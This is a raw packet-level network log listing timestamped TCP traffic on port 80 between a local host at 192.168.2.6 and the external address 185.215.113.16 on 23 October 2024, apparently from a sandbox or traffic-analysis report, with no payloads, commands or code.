Oct 23, 2024 17:51:24.478688002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478698969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478701115 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478717089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478739977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478825092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478857040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478868961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478899002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478980064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479001999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479015112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479024887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479054928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479104996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479161024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479183912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479197025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479229927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479244947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479255915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479281902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479305029 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479394913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479446888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479459047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479500055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479513884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479526997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479538918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479551077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479563951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479564905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479576111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479589939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479610920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479885101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479908943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479922056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479943991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.479958057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.479962111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.507656097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507669926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507680893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507690907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507702112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507710934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507719040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.507730961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507744074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507754087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507755041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.507764101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.507765055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.507797956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.549307108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549360037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.549376965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549397945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549410105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549420118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549433947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549443960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.549515963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.549516916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549554110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.549576044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549587965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549623966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.549947977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549959898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.549971104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.550013065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.590512037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.590549946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.590560913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.590570927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.590578079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.590594053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.595730066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595772982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.595787048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595799923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595817089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595827103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595844030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.595858097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.595917940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595932961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595944881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.595969915 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596040964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596052885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596065044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596081972 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596095085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596179008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596189976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596201897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596225977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596319914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596332073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596343040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596354008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596359015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596383095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596445084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596476078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596503019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596534014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596544981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596575975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596672058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596683025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596693993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596705914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596715927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596734047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596822977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596834898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596846104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596870899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596889973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.596971989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596982956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.596995115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597018003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.597110987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597124100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597135067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597156048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.597181082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.597233057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597338915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597349882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597362041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597376108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597383022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.597387075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597399950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597410917 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.597410917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597441912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.597460032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.597729921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597743034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597753048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.597784996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.624970913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625004053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625015020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625026941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625034094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.625040054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625051975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625067949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.625077009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.625099897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625113010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.625150919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.666800022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666817904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666838884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666852951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666870117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.666873932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666889906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666896105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666907072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666907072 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.666922092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.666944027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.666965008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.667099953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.667145967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.667157888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.667185068 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.667385101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.667396069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.667416096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.667424917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.667428017 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.667450905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.709151983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.709167957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.709181070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.709234953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.709234953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713313103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713359118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713368893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713387966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713399887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713408947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713413000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713427067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713438034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713448048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713453054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713459969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713471889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713489056 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713510036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713643074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713674068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713684082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713711023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713740110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713752031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713763952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713776112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713812113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713812113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.713962078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713987112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.713999033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714004040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714078903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714085102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714107037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714118958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714153051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714262962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714276075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714289904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714318991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714332104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714349031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714361906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714543104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714585066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714633942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714648008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714659929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714670897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714679956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714684010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.714699030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714723110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.714993954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715042114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715054035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715111971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.715145111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715157986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715168953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715182066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715193033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715198994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.715221882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.715233088 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.715405941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715428114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715436935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715476990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.715485096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.715522051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.742652893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742698908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742728949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742748976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.742755890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742785931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742815018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.742815971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742846012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742855072 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.742876053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.742916107 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.783144951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.783162117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.783206940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.784250975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784295082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784307003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784343004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.784372091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784384966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784396887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784406900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784416914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784423113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.784440994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.784451008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784455061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.784465075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784476042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784499884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.784766912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784802914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.784822941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784833908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784843922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.784868956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.826225996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.826282024 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.826292038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.826317072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.826330900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.826364040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.830770969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.830828905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.830863953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.830890894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.830928087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.830931902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.830962896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.830991030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831018925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831032038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.831048965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831058979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.831080914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831126928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.831159115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831185102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831226110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.831228018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831258059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831286907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831325054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831329107 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.831355095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831362963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831377029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831384897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831444025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.831501961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.831510067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831567049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831581116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.831625938 CEST	49763	80	192.168.2.6	185.215.113.16
